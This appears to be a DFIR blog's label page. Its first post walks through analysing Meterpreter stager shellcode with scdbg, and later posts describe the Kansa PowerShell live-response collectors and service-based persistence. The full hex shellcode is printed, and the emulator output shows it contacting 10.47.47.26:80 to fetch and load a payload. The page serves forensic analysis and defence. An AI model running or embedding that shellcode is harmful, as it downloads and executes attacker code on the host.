Showing posts with label dfir. Show all posts
Showing posts with label dfir. Show all posts

Saturday, July 25, 2020

Analyzing an Instance of Meterpreter's Shellcode

In my previous post on detecting and investigating Meterpreter's Migrate functionality, I went down a rabbit hole on the initial PowerShell attack spawned by and Excel macro. In that payload was a bit of shellcode and I mentioned that I'd like to return to it at some point in the future for further analysis. I do not consider myself a reverse engineer, though I have dabbled over the years.

What follows then is an amateur's ambling. If you are reading this and have insights you'd like to share, I'd love to receive them via the comments here, an @ mention or DM on Twitter.

Our shellcode from the previous post looked like this:

e8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d686e6574006877696e6954684c772607ffd531db5353535353683a5679a7ffd553536a0353536a50e8840000002f384b68383900506857899fc6ffd589c653680002608453535357535668eb552e3bffd5966a0a5f5353535356682d06187bffd585c0751668881300006844f035e0ffd54f75e168f0b5a256ffd56a4068001000006800004000536858a453e5ffd593535389e7576800200000535668129689e2ffd585c074cd8b0701c385c075e558c35fe87dffffff31302e34372e34372e323600


Unsure how to proceed with analyzing this, I did a little searching online for things like "analyzing shellcode," "shellcode analysis," "shellcode reversing," etc. There are hundreds of thousands of hits, so no shortage of sites to go chase down.

Here's where I landed. I had a Flare VM from a CTF I'd worked on some time back and I saw that it had recently been updated for the release of capa from Fireeye's Flare team. I knew various posts about shellcode analysis referenced tools that are in the Flare VM, like scdbg, so I decided I'd spin up my old Flare VM and give it a go.

Suffice to say, updating my Flare VM to the latest wasn't straightforward. There were some breaking changes in the upgrade, so I scrapped it and started over with a fresh Win10 system.

Based on what I'd read elsewhere, my first inclination was to try scdbg.exe, which is packaged as part of Flare VM.

PS> scdbg.exe -f shellcode.bin
Loaded 296 bytes from file shellcode.bin
Detected straight hex encoding input format converting...
Initialization Complete..
Max Steps: 2000000
Using base offset: 0x401000

40109a  LoadLibraryA(wininet)
4010a8  InternetOpenA()
4010c4  InternetConnectA(server: 10.47.47.26, port: 80, )
4010d9  HttpOpenRequestA(path: /8Kh89, )

Stepcount 2000001

This was immediately insightful. I now knew that the string of bytes imported functions from the wininet.dll referenced in the previous post. I could see the IP address and port that it was reaching out to; also seen in the Sysmon logs in the previous post.

Having read this post from Didier Stevens, Another Quickie: Using scdbg to analyze shellcode, I recognized that there may be more to this shellcode than what was shown above as scdbg only emulates 2 million instructions by default. So, I increased the step count as shown below:

PS> scdbg.exe -s 3000000 -f shellcode.bin
Loaded 296 bytes from file shellcode.bin
Detected straight hex encoding input format converting...
Initialization Complete..
Max Steps: 3000000
Using base offset: 0x401000

40109a  LoadLibraryA(wininet)
4010a8  InternetOpenA()
4010c4  InternetConnectA(server: 10.47.47.26, port: 80, )
4010d9  HttpOpenRequestA(path: /8Kh89, )
4010e9  HttpSendRequestA()
401117  VirtualAlloc(base=0 , sz=400000) = 600000

Stepcount 3000001

How many steps are enough? I would guess it depends on the shellcode. In my experimentation with this sample, I didn't appear to glean additional information by increasing the step count beyond this. YMMV.

Other options can be passed to scdbg and you should run it without passing it any arguments to see what the possibilities are. One can increase verbosity by passing -v and increase it more with -vv through -vvvv. A single -v will display disassembly:

PS> scdbg.exe -v -s 20 -f shellcode.bin
Loaded 296 bytes from file shellcode.bin
Detected straight hex encoding input format converting...
Initialization Complete..
Max Steps: 20
Using base offset: 0x401000
Verbosity: 1

401000   E882000000                      call 0x401087           step: 0
401087   5D                              pop ebp
401088   686E657400                      push dword 0x74656e
40108d   6877696E69                      push dword 0x696e6977
401092   54                              push esp
401093   684C772607                      push dword 0x726774c            step: 5
401098   FFD5                            call ebp
401005   60                              pusha
401006   89E5                            mov ebp,esp
401008   31C0                            xor eax,eax
40100a   648B5030                        mov edx,fs:[eax+0x30]           step: 10
40100e   8B520C                          mov edx,[edx+0xc]
401011   8B5214                          mov edx,[edx+0x14]
401014   8B7228                          mov esi,[edx+0x28]
401017   0FB74A26                        movzx ecx,[edx+0x26]
40101b   31FF                            xor edi,edi             step: 15
40101d   AC                              lodsb
40101e   3C61                            cmp al,0x61
401020   7C02                            jl 0x401024  vv
401022   2C20                            sub al,0x20
401024   C1CF0D                          ror edi,0xd             step: 20

Stepcount 21

Increasing the verbosity with -vv gives register values:
PS> scdbg.exe -vv -s 8 -f shellcode.bin
Loaded 296 bytes from file shellcode.bin
Detected straight hex encoding input format converting...
Initialization Complete..
Max Steps: 8
Using base offset: 0x401000
Verbosity: 2

401000   E882000000                      call 0x401087           step: 0  foffset: 0
eax=0         ecx=0         edx=0         ebx=0
esp=12fe00    ebp=12fff0    esi=0         edi=0          EFL 0

401087   5D                              pop ebp                 step: 1  foffset: 87
eax=0         ecx=0         edx=0         ebx=0
esp=12fdfc    ebp=12fff0    esi=0         edi=0          EFL 0

401088   686E657400                      push dword 0x74656e             step: 2  foffset: 88
eax=0         ecx=0         edx=0         ebx=0
esp=12fe00    ebp=401005    esi=0         edi=0          EFL 0

40108d   6877696E69                      push dword 0x696e6977           step: 3  foffset: 8d
eax=0         ecx=0         edx=0         ebx=0
esp=12fdfc    ebp=401005    esi=0         edi=0          EFL 0

401092   54                              push esp                step: 4  foffset: 92
eax=0         ecx=0         edx=0         ebx=0
esp=12fdf8    ebp=401005    esi=0         edi=0          EFL 0

401093   684C772607                      push dword 0x726774c            step: 5  foffset: 93
eax=0         ecx=0         edx=0         ebx=0
esp=12fdf4    ebp=401005    esi=0         edi=0          EFL 0

401098   FFD5                            call ebp                step: 6  foffset: 98
eax=0         ecx=0         edx=0         ebx=0
esp=12fdf0    ebp=401005    esi=0         edi=0          EFL 0

401005   60                              pusha           step: 7  foffset: 5
eax=0         ecx=0         edx=0         ebx=0
esp=12fdec    ebp=401005    esi=0         edi=0          EFL 0

401006   89E5                            mov ebp,esp             step: 8  foffset: 6
eax=0         ecx=0         edx=0         ebx=0
esp=12fdcc    ebp=401005    esi=0         edi=0          EFL 0


Stepcount 9

Stepping up the verbosity again switches to an interactive mode where you're given the option to step through and select any of the options from this debug menu between instructions:

dbg>
        ? - help, this help screen, h also works
        v - change verbosity (0-4)
        g - go - continue with v=0
        s - step, continues execution, ENTER also works
        c - reset step counter
        r - execute till return (v=0 recommended)
        u - unassembled x instructions at address (default eip)
        b - sets next free breakpoint (10 max)
        m - reset max step count (-1 = infinate)
        e - set eip (file offset or VA)
        w - dWord dump,(32bit ints) prompted for hex base addr and then size
        d - Dump Memory (hex dump) prompted for hex base addr and then size
        x - execute x steps (use with reset step count)
        t - set time delay (ms) for verbosity level 1/2
        k - show stack
        i - break at instruction (scans disasm for next string match)
        f - dereF registers (show any common api addresses in regs)
        j - show log of last 10 instructions executed
        o - step over
        ; - Set comment in IDA if .idasync active
        +/- - basic calculator to add or subtract 2 hex values
        .bl - list set breakpoints
        .bc - clear breakpoint
        .api - scan memory for api table
        .nop - nops out instruction at address (default eip)
        .seh - shows current value at fs[0]
        .segs - show values of segment registers
        .skip - skips current instruction and goes to next
        .reg - manually set register value
        .dllmap - show dll map
        .poke1 - write a single byte to memory
        .poke4 - write a 4 byte value to memory
        .lookup - get symbol for address
        .symbol - get address for symbol (special: peb,dllmap,fs0)
        .savemem - saves a memdump of specified range to file
        .idasync - connect IDASrvr plugin and sync view at step or break.
        .allocs - list memory allocations made
        q - quit

There's also a -r option that will present a summary report at the end of the run. So the output becomes something like the following:

PS> scdbg.exe -r -s 2550000 -f shellcode.bin
Loaded 296 bytes from file shellcode.bin
Detected straight hex encoding input format converting...
Memory monitor enabled..
Initialization Complete..
Max Steps: 2550000
Using base offset: 0x401000

40109a  LoadLibraryA(wininet)
4010a8  InternetOpenA()
4010c4  InternetConnectA(server: 10.47.47.26, port: 80, )
4010d9  HttpOpenRequestA(path: /8Kh89, )
4010e9  HttpSendRequestA()
401117  VirtualAlloc(base=0 , sz=400000) = 600000

Stepcount 2550001

Analysis report:
        Reads of Dll memory detected            (use -mdll for details)
        Uses peb.InMemoryOrder List

Signatures Found:  None

Memory Monitor Log:
        *PEB (fs30) accessed at 0x40100a
        peb.InMemoryOrderModuleList accessed at 0x401011

In the Analysis report output were some things I dug into further. scdbg reports "Reads of Dll memory detected" followed by a nudge to use -mdll for details. Let's try that:

PS> scdbg.exe -r -s 444650 -mdll -f shellcode.bin -nc
Loaded 296 bytes from file shellcode.bin
Detected straight hex encoding input format converting...
Memory monitor enabled..
Memory monitor for dlls enabled..
Initialization Complete..
Max Steps: 444650
Using base offset: 0x401000

40109a  LoadLibraryA(wininet)
40104e  mdll msvcrt>    lodsb    77c5cd2f                       READ
40104e  mdll msvcrt>    lodsb    77c5cd30                       READ
40104e  mdll msvcrt>    lodsb    77c5cd31                       READ
40104e  mdll msvcrt>    lodsb    77c5cd32                       READ
40104e  mdll msvcrt>    lodsb    77c5cd33                       READ
40104e  mdll msvcrt>    lodsb    77c5cd34                       READ
40104e  mdll msvcrt>    lodsb    77c5cd35                       READ
40104e  mdll msvcrt>    lodsb    77c5cd27                       READ
40104e  mdll msvcrt>    lodsb    77c5cd28                       READ
40104e  mdll msvcrt>    lodsb    77c5cd29                       READ
40104e  mdll msvcrt>    lodsb    77c5cd2a                       READ
40104e  mdll msvcrt>    lodsb    77c5cd2b                       READ
40104e  mdll msvcrt>    lodsb    77c5cd2c                       READ
40104e  mdll msvcrt>    lodsb    77c5cd2d                       READ
40104e  mdll msvcrt>    lodsb    77c5cd2e                       READ
40104e  mdll msvcrt>    lodsb    77c5cd20                       READ
40104e  mdll msvcrt>    lodsb    77c5cd21                       READ
40104e  mdll msvcrt>    lodsb    77c5cd22                       READ

Stepcount 444651

Analysis report:
        Reads of Dll memory detected            (use -mdll for details)
        Uses peb.InMemoryOrder List

Signatures Found:  None

Memory Monitor Log:
        *PEB (fs30) accessed at 0x40100a
        peb.InMemoryOrderModuleList accessed at 0x401011

Above we can see bytes are being read from sequential memory addresses. scdbg tells us this is a dll, specifically the Microsoft Visual C Run Time library. 

In the Analysis report and Memory Monitor Log sections of the output, we also see mentions of the shellocde using the PEB (Process Environment Block), specifically the InMemoryOrderModuleList. I wasn't certain what this was about, but assumed it had something to do with the shellcode attempting to locate specific functions in some loaded module. This was confirmed by an old post from Stephen Fewer of Harmony Security back in June of 2009. I'm grateful for archive.org. (Gratitude is great, but generosity is better. Donate to archive.org)

Given the info in Fewer's post, I wondered if I could run scdbg with the right arguments to see the code referencing the InMemoryOrderModuleList. Turns out, yes. The first one happens around step 10 and it happens six more times in the first 2.6 millions steps:

PS> scdbg.exe -v -s 2550000 -f shellcode.bin | select-string 'fs:\[' -Context 2,2

  401006   89E5                            mov ebp,esp
  401008   31C0                            xor eax,eax
> 40100a   648B5030                        mov edx,fs:[eax+0x30]                 step: 10
  40100e   8B520C                          mov edx,[edx+0xc]
  401011   8B5214                          mov edx,[edx+0x14]
  401006   89E5                            mov ebp,esp
  401008   31C0                            xor eax,eax
> 40100a   648B5030                        mov edx,fs:[eax+0x30]                 step: 178605
  40100e   8B520C                          mov edx,[edx+0xc]
  401011   8B5214                          mov edx,[edx+0x14]
  401006   89E5                            mov ebp,esp           step: 718215
  401008   31C0                            xor eax,eax
> 40100a   648B5030                        mov edx,fs:[eax+0x30]
  40100e   8B520C                          mov edx,[edx+0xc]
  401011   8B5214                          mov edx,[edx+0x14]
  401006   89E5                            mov ebp,esp           step: 1262515
  401008   31C0                            xor eax,eax
> 40100a   648B5030                        mov edx,fs:[eax+0x30]
  40100e   8B520C                          mov edx,[edx+0xc]
  401011   8B5214                          mov edx,[edx+0x14]
  401006   89E5                            mov ebp,esp
  401008   31C0                            xor eax,eax
> 40100a   648B5030                        mov edx,fs:[eax+0x30]
  40100e   8B520C                          mov edx,[edx+0xc]             step: 1809940
  401011   8B5214                          mov edx,[edx+0x14]
  401006   89E5                            mov ebp,esp           step: 2357005
  401008   31C0                            xor eax,eax
> 40100a   648B5030                        mov edx,fs:[eax+0x30]
  40100e   8B520C                          mov edx,[edx+0xc]
  401011   8B5214                          mov edx,[edx+0x14]
  401006   89E5                            mov ebp,esp           step: 2506045
  401008   31C0                            xor eax,eax
> 40100a   648B5030                        mov edx,fs:[eax+0x30]
  40100e   8B520C                          mov edx,[edx+0xc]
  401011   8B5214                          mov edx,[edx+0x14]

What have we learned?

Probably the most important pieces of information were gleaned in the early goings. This scdbg command tells us the API calls made during the first 5+ million steps.

PS> scdbg.exe -s 54465000 -api -f .\shellcode.bin -nc
Loaded 296 bytes from file .\shellcode.bin
Detected straight hex encoding input format converting...
Initialization Complete..
Max Steps: 54465000
Using base offset: 0x401000

40109a  LoadLibraryA(wininet)
4010a8  InternetOpenA()
4010c4  InternetConnectA(server: 10.47.47.26, port: 80, )
4010d9  HttpOpenRequestA(path: /8Kh89, )
4010e9  HttpSendRequestA()
401117  VirtualAlloc(base=0 , sz=400000) = 600000
40112b  InternetReadFile(4893, buf: 600000, size: 2000)

Combined with what we sorted out in the previous post, this paints a more complete picture. The calls above were in the shellcode. So we can say the shellcode opened a network connection to 10.47.47.26 via port 80, and this is consistent with what we say in the Sysmon logs. We didn't see the path, so we have a bit of new information, the request hit whatever resource was hosted at /8Kh89. Maybe that resource served up the payload that injected metsrv.dll and the other injected dlls. We've learned more, but there are still some unanswered questions. Maybe we'll revisit those in a future post.






Wednesday, March 25, 2015

Kansa: Get-AutorunscDeep.ps1 -- Taking Autorunsc to 11

I wanted to put up a quick post about a new Kansa collector I recently added -- Get-AutorunscDeep.ps1. Sysinternals' Autoruns is a great utility for finding auto-start extension points in Windows and one I've blogged about a number of times.

Kansa has had a collector that wraps around Autorunsc.exe from Sysinternals almost since I began writing Kansa in March of 2014. It's such a great little utility for enumerating so many persistence mechanisms in Windows, though by no means, does it cover all of them.

Get-AutorunscDeep.ps1 goes to 11. How so? There are two ways that Get-AutorunscDeep.ps1 improves on Autorunsc.exe alone.
  1. Get-AutorunscDeep.ps1 includes code written by my friend @z4ns4tsu (who will be speaking at the SANS 2015 DFIR Summit) that calculates the Shannon Entropy of Autorunsc's Image Path property. As many of you well know, packed binaries are common in malware families and those binaries have higher entropy than many legit binaries, so knowing a file's entropy can be a useful lead generation tool when dealing with large amounts of data.
  2. Get-AutorunscDeep.ps1 goes a step further than Autorunsc.exe alone for common interpreters that execute scripts such as cmd.exe, PowerShell.exe or wscript.exe that may call .bat, .ps1 or .vbs files repsectively. Below in Figure 1, I've run the latest version of Autorunsc.exe and saved the output to a csv file, then loaded that csv file into a PowerShell variable called $data, then I'm dumping the contents of $data for any entry that calls a PowerShell script:
Figure 1: Output of Autorunsc.exe for a PowerShell ASEP (Click to enlarge)
Note that in Figure 1, Autorunsc.exe provides hashes of the PowerShell.exe binary itself. I've worked investigations where adversaries have taken existing ASEP entries and modified the scripts that are called, planting their own malicious code in those scripts. If you've got an ASEP that runs via PowerShell, cmd.exe or wscript.exe on hundreds or thousands of hosts and you use Autorunsc.exe to collect that data, a few of the scripts called by that interpreter could have been modified by an attacker and you'd have no visibility into it via Autorunsc.exe alone.

Get-AutorunscDeep.ps1 solves this problem, in most cases, by adding a hash of the script called by the interpreter. So for ASEPs like cmd.exe, PowerShell.exe and wscript.exe that call scripts, you'll see the hash of the binary itself as Autorunsc.exe calculates it, and you'll get the hash of the script because Get-AutorunscDeep.ps1 will calculate it for you, assuming it can find and read the script. Below in Figure 2, is an example of what this looks like, the data was collected from the same host as above, but remotely using Kansa:

Figure 2: Output of Get-AutorunscDeep.ps1 for the same PowerShell ASEP (Click to enlarge)
Note the red marks in Figure 2 and apologies, I'm not a graphic artist. Get-AutorunscDeep.ps1 has added an MD5 hash for the Get-AutorunscDeep.ps1 script that the PowerShell executable in the above Scheduled Task is calling. You can also see the ShannonEntropy value for PowerShell.exe, another feature of Get-AutorunscDeep.ps1's output. Now consider the visibility this gives you if you have the same ASEP script deployed across thousands of hosts. Use Kansa's Get-AutorunscDeep.ps1 collector, in conjunction with Sysinternal's Autorunsc.exe, and you'll quickly be able to find versions of scripts that have been modified.

Saturday, May 3, 2014

Kansa: Service related collectors and analysis

In my previous post on Kansa's Autoruns collectors and analysis scripts, I mentioned that the Get-Aurounsc.ps1 collector relies on Sysinternals' Autorunsc.exe to collect data on all of the Autostart Extension Points (ASEPs) that it has catalogued. Autorunsc and its GUI sibling, Autoruns, are great tools, but they are not comprehensive, there are other ASEPs that they don't catch, so Kansa includes a few additional modules that aim to collect additional ASEPs and additional data about ASEPs.

Get-SvcAll.ps1
Runs Get-WMIObject win32_service to collect details about all services. Output is saved as XML. Some of this same data is collected by Get-Autorunsc.ps1 above, however, this will pull additional properties for each service with some of them being specific to the type of service. If a service is running, you'll get its process id and the context it runs under (Local System, Local Service, etc.). There's even an InstallDate property, which is awesome, however, in my experience, it's never populated, which sucks.

For analysis of the data collected by Get-SvcAll.ps1, there are two very basic frequency analysis or stacking scripts as of this writing. They are Get-SvcAllStack.ps1 and Get-SvcStartNameStack.ps1. The former does its frequency analysis based on Service "Captions" and Pathnames. The Captions are the short friendly names you see when you look at the Services running on your system while the Pathnames include the path to the binary and any arguments. Here's an example from two systems where the Application Identity service has two different sets of command line arguments:

Click for larger image
Stacking by these properties across many hosts shows investigators services that may have the same Caption, but different binaries and arguments. This same kind of analysis is available in the Autoruns stacking scripts with the added benefit of stacking by file hash (e.g. MD5).

Get-SvcStartNameStack.ps1 stacks by Caption and StartName, the latter of which turns out to be the name of the account the service runs under.

Another Service analysis script, but not a stacker, is Get-SvcAllRunningAuto.ps1, which pulls the list of Services that were in a running state or set to start automatically when the Get-SvcAll.ps1 collector ran on the targets.

ASEPs not collected by Autorunsc:

As I mentioned above, Sysinternals' Autoruns and Autorunsc executables collect all the ASEPs they know to collect, but that is not the universe of ASEPs.

Windows Services can be configured to recover from failures. In my experience, restarting the service is the most common recovery option, but one option that adversaries can use is the "Run a Program" option as shown below:
Click for larger image
 
In the screen shot above, the Application Identity service is configured with a failure recovery response that will run a program called ServiceRecovery.exe from C:\ProgramData\Microsoft\ with the command line argument -L 443. This is a persistence mechanism that Autorunsc won't capture.

Kansa's Get-SvcFail.ps1 collector will collect service failure recovery information from all services. Kansa includes a few analysis scripts that will stack the service failure recovery data, but the most useful one is Get-SvcFailCmdLine.ps1, which returns the frequency count of the program and command line parameters from all the collected service failure information. The image below shows this data from a few thousand systems:
Click for larger image
In the example there are 129769 Service Failure entries, 75088 of them have the same program and command line arguments configured as a recovery option. Seems unlikely this is malicious.

In another smaller data set, the following data was returned:
Click for larger image
I include this screen shot because I've run into the customscript.cmd entry in multiple data sets and in all the cases I've investigated, I've not yet found a service that referenced customscript.cmd anywhere in the Services GUI, but you will see services reference it in the data of their Registry key values, like the following:

I've also searched file systems on hosts where I've seen this, but I've not found a file on disk called customScript.cmd. I wanted to mention it here in case you run across it. If you do see a reference to customscript.cmd that includes a path, you may have an adversary attempting to blend in with a common value.

The last Service related collector in Kansa, as of this writing, is Get-SvcTrigs.ps1, which collects another set of ASEPs that Autoruns does not collect, yet -- Service Triggers. Service Triggers are new with Windows 7 and later versions of Windows. They allow Windows Services to have more startup flexibility than the old Manual and Automatic startup modes. Now services can respond to the presence of specific hardware, group policy changes, networking events, etc. More information about Service Triggers can be found at the following links:
Kansa includes a basic stacker for Service Triggers. Interpreting the data to determine what's normal and what's suspicious can be daunting and tedious. Searching on GUIDs can be of some help. Below is a frequency listing of Service Triggers from a relatively small sample, two systems.
Click for larger image
I have Service Trigger data from a few thousand machines, but I'm not at liberty to share it here, trust me when I say finding outliers is easier with a larger data set, but keep in mind, just because something is an outlier doesn't mean it's bad and the inverse is also true, just because something is common, it's not necessarily good.

There is one more ASEP that I know of that Autoruns won't catch, but that Kansa collects, but I'll save that for another post.

Tuesday, April 29, 2014

Kansa: Autoruns data and analysis

I want your input.

With the "Trailer Park" release of Kansa marking a milestone for the core framework, I'm turning my focus to analysis scripts for data collected by the current set of modules. As of this writing there are 18 modules, with some overlap between them. I'm seeking more ideas for analysis scripts to package with Kansa and am hopeful that you will submit comments with novel, implementable ideas.

Existing modules can be divided into three categories:

  1. Auto Start Extension Points or ASEP data (persistence mechanisms)
  2. Network data (netstat, dns cache)
  3. Process data
In the interest of keeping posts to reasonable lengths, I'll limit the scope of each post to a small number of modules or collectors.

ASEP collectors and analysis scripts

Get-Autorunsc.ps1

Runs Sysinternals Autorunsc.exe with arguments to collect all ASEPs (that Autoruns knows about) across all user profiles, includes ASEP hashes, code signing information (Publisher) and command line arguments (LaunchString).

Current analysis scripts for Get-Autoruns.ps1 data:
Get-ASEPImagePathLaunchStringMD5Stack.ps1
Returns a frequency count of ASEPs aggregating on ImagePath, LaunchString and MD5 hash.

Get-ASEPImagePathLaunchStringMD5UnsignedStack.ps1
Same as previous stacker, but filters out signed ASEPs.

Get-ASEPImagePathLaunchStringPublisherStack.ps1
Returns frequency count of ASEPs aggregated on ImagePath, LaunchString and code signer.

Get-ASEPImagePathLuanchStringStack.ps1
Returns frequency count of ASEPs aggregated on ImagePath and LaunchString.

Get-ASEPImagePathLaunchStringUnsignedStack.ps1
Same as previous, but filters out signed code.

A picture is worth a few words, here's a sample of output for the previous analysis script for data from a couple systems:

Click for full size image
The image above shows the unsigned ASEPs on the two hosts, aggregated by ImagePath and LaunchString. You may want to know which host a given ASEP came from, however, including the host in the output above would break the aggregation. If you want to trace the 7-zip ASEP back to the host it was found on, copy the ImagePath or LaunchString value to the clipboard and from within this Output\Autorunsc\ path where the script was run, use the Powershell commandlet:

Select-String -SimpleMatch -Pattern "c:\program files (x86)\7-zip\7-zip.dll" *autoruns.tsv

The result will show the files and lines in those files, that match that pattern, each filename contains the hostname where the data came from, and the hostname is also in the file in the PSComputerName field.

Get-Autorunsc.ps1 returns the following fields:
Time: Last modification time from the Registry or file system for the EntryLocation
EntryLocation: Registry or file system location for the Entry
Entry: The entry itself
Enabled: Enabled or disabled status
Category: Autorun category
Description: A description of the Autorun
Publisher: The publisher from the code signing certificate, if present
ImagePath: File system path to the Autorun
Version: PE version info
LaunchString: Command line arguments or class id from the Registry
MD5: MD5 hash of the ImagePath file
SHA1: SHA1 hash of the ImagePath file
PESHA1: SHA1 Authenticode hash of the ImagePath file
PESHA256: SHA256 Authenticode hash of the Image Path file
SHA256: SHA256 hash of the ImagePath file
PSComputerName: The host where the entry came from
RunspaceId: The runspaceid for the Powershell job that collected the data
PSShowComputerName: A Boolean flag about whether or not the PSComputerName is included

These last three fields are artifacts of Powershell remoting.

Given the available data and the currently available analysis scripts, what other analysis capabilities make sense for the Get-Autorunsc.ps1 output?

One idea I have, is to take the idea explored in a previous post of mine, "Finding Evil: Automating Autoruns Analysis." This would be a script that takes an external dependency on a database of file hashes that are categorized as good, bad and unknown. The script would match hashes in the Get-Autorunsc.ps1 output, discarding the good, alerting on the bad and submitting unknowns to VirusTotal to see what, if anything is known about them. If VT says they are bad, insert them into the database and alert. If VT says they are good, insert them into the database and ignore them in future runs. If VT has no information on them, mark them for follow up and send them to Cuckoo sandbox or similar for analysis.

What ideas do you have? What would be helpful to you during IR?

Thanks for taking the time to read and comment with your thoughts and ideas.

If you found this information useful, please check out the SANS DFIR Summit where I'll be speaking about Kansa, IR and analysis in June.

Friday, April 25, 2014

Kansa: Get-Started

Last week I posted an introduction to Kansa, the modular, Powershell live response tool I've been working on in preparation for my presentation at the SANS DFIR Summit.

Please do me a favor and click the DFIR Summit link. :)

My previous post was a high level overview. This one will dive in. If you'd like to try it out, you'll need a system or systems that are configured for Windows Powershell remoting and you'll need an account with permissions to run remote jobs on those hosts.

Getting a copy of Kansa is easy, this link will pull down a zipped copy of the master repository. Simply download it and extract it to a location of your choice. On my machine I've extracted the files to C:\tools\Kansa. As of this writing the main directory of the archive consists of the following files and folders:


Kansa.ps1 is the script used for kicking off data collection.

The Analysis folder contains Powershell scripts for conducting basic analysis of the collected data. It's really just a starting point as of this writing and more analysis scripts will be added as I have time to create and commit them. Many of the Analysis scripts require Logparser, but much of the data collected by Kansa could be imported directly into your database of choice for analysis.

The lib folder contains some common code elements, but as of yet, none of it is in use elsewhere in Kansa.

The Modules folder contains the plugins that Kansa will invoke on remote hosts. As of this writing, the modules folder consists of the following:

I like to think of the modules as collectors. They follow the Powershell Verb-Noun naming convention and I'm guessing you can tell what most of them do based on their names. Most of them are very simple scripts, however, some may appear a bit complicated because they reformat the data they collect to make it ready for analysis. For example, the Get-Netstat.ps1 module calls Netstat.exe -naob on each remote host. Netstat's output when called with these flags is relatively unfriendly for analysis. Here's a sample:


Kansa's Get-Netstat.ps1 module reformats this data and the output becomes, well, first we have a bit of a diversion:


First, notice I'm running the Get-Netstat.ps1 module directly on the localhost. As of this writing, all of Kansa's modules may be run standalone, they don't have to be run within the framework. But more relevant to the screenshot above, when I try and run it, I get prompted by a "Security warning" because the script was downloaded from the internet. You should probably look through any script you download before running it in your environment, Powershell is trying to be helpful here. There are multiple ways around this, you can enter "R" or "r" here and the script will run once. You can view the properties of the files within Explorer and "unblock" them or you can use the Powershell Unblock-Files cmdlet as follows to unblock them all:


Now with the files unblocked, let's run Get-Netstat.ps1 again and see how the output is made more friendly for analysis:


What we have here are Powershell objects and Powershell objects can be easily manipulated into a variety of formats, XML, CSV, TSV, binary, etc. Most of the Kansa modules return Powershell objects and each module can include an "# OUTPUT directive" on their first line that directs Kansa how to treat the output. For example, Get-Netstat.ps1's OUTPUT directive is "# OUTPUT tsv", if that looks like a Powershell comment, well it is, but Kansa.ps1 looks for it on line one of each module and if it finds it, it will honor the directive, in this case it will convert the Powershell objects above into tab separated values and write the data out to a file on disk. If a module doesn't include an OUTPUT directive on line one, Kansa will default to treating the output as text.

The end result for Get-Netstat.ps1, when invoked by Kansa on a remote system, is that you'll have tab separated values for your Netstat -naob output, like this:

Click the image for original
That tab separated data can easily be imported into the database of your choice, you can run queries directly against it using Logparser, load it into Excel, etc.

Looking back at the Modules folder contents above, you'll notice a bin directory. There are a trio of modules that call binaries. At one point, I had functionality in Kansa to push binaries from this folder to remote hosts and I have it on the ToDo list for the project to get this back in. I just haven't found the perfect way to do it yet, so I've rolled it out. For now, the three modules that require binaries, expect those binaries to be in the $env:SystemRoot directory of each remote host, this is generally C:\Windows and also the ADMIN$ share. In practice today, I simply use Copy-Item to push binaries to remote hosts' ADMIN$ shares. A future version of Kansa will distribute these binaries at run time.

[Update: As of 2014-04-27, I've implemented a -Pushbin command line flag that will cause Kansa to try and copy required binaries to targets. See Get-Help -Full Kansa.ps1 for details. The Get-Autorunsc.ps1, Get-Handle.ps1 and Get-ProcDump.ps1 modules can be referenced as examples.]

Two other files in the Modules directory don't look like the others, default-template.ps1 is a template for building new modules. Mostly it gives some guidance. Reading it and some of the existing collectors should give you enough information to create your own.

Lastly, there's a modules.conf file in the Modules folder. This file controls which modules will be invoked on the remote systems and the order in which they will be invoked, this allows the user to execute collection in the order of volatility and to limit what is collected for more targeted acquisition. All modules are currently listed in the modules.conf file. To prevent a module from being executed, simply comment it out with the pound-sign/hashtag/octothorpe/#. If the modules.conf file is missing, all modules will be run in the default directory listing order.

Alright, so how do we run this thing? For most use cases, I recommend you create a text file containing the list of hosts you want to run modules on. For demonstration purposes, here is my hostlist file:


The script has been run on thousands of hosts at a time, so if you want to try it on a larger list, it should work fine, given you've satisfied two prerequisites: 1) your targets are configured for Windows Remoting, see the link above; 2) The account you're using has Admin access to the remote hosts.

If you don't use the -TargetList argument (see below), Kansa will query Active Directory for the list of computers in the domain and they will all be targeted, you can limit the number of targets with or without -TargetList with the -TargetCount argument.

Here's a sample run using the default modules.conf and my hostlist:


That's it. You'll see the same view if you run it over thousands of hosts, though it may take longer. Powershell's remoting has a default setting that limits it to running tasks on 32 hosts at a time, but it is configurable. Currently Kansa uses the default setting, but in a future version, I may make this a command line option.

Where does the output go? You can specify where you want the output written, but in this case I took the default, which is the Output folder within the Kansa folder. Let's see what's there:


Each collector's output is written to its own folder. Drilling down one more level, let's look in the Handle folder:


But wait you say, we ran this with two hosts in the hostlist file we provided to the -TargetList argument. Where's the data for the other host? Well, I ran this from an Admin command prompt and my local Admin account doesn't have permission to run jobs on Selfridge, so those jobs failed. Currently the user receives no warning or error when a job can't run on a remote host, fixing this is an item on the ToDo list. If I drop out of the admin command prompt and run it as a different user that has admin access to both my localhost and the remote host, the folder above would look like this:

Now, before you go running this in your environment and complain that you don't have handle data from your hosts, recall that the Get-Handle.ps1 module is one that has a binary dependency. If you want to run it, you'll first need to copy-item handle.exe to the ADMIN$ share of each target. This is easily accomplished with something like:

foreach($host in (gc hostlist)) { copy-item handle.exe \\$host\admin`$ }

from a Powershell prompt with the appropriate privileges to copy data to the remote hosts. I haven't tested that command, you may have to do some trickery to properly escape whack-whacks.

Incidentally, handle.exe, like netstat.exe with -naob, is another utility that has analysis unfriendly output. Luckily, Get-Handle.ps1 will return Powershell objects and direct Kansa to reformat the output as tsv, ready for import into your db or choice or for querying with Logparser.

Kansa was written with some help in the script, to view it, simply use the Powershell Get-Help -Full Kansa.ps1 command and you'll get something like the following:



That should be enough to get your started with Kansa. Please, take it for a spin and give me some feedback. Let me know what breaks, what sucks and what works. And if you have ideas for collectors, send them my way or if you want to contribute something, that would be welcome.

I've got a few more posts coming, so stay tuned and thanks! Oh, and if you found this interesting, useful, please take a moment to check out the SANS DFIR Summit where I'll be discussing Kansa and how it can be used to hunt at scale, or as I like to think of it, seine for evil.

Saturday, April 19, 2014

Kansa: A modular live response tool for Windows enterprises

Folks who follow me on Twitter, @davehull, have seen chatter from me about a side-project I've been working on, Kansa, in preparation for my presentation at the SANS DFIR Summit in Austin in June. While the Github page for the project contains a Readme.md that gives a little information about what the project is and does, I thought a series of blog post was in order.

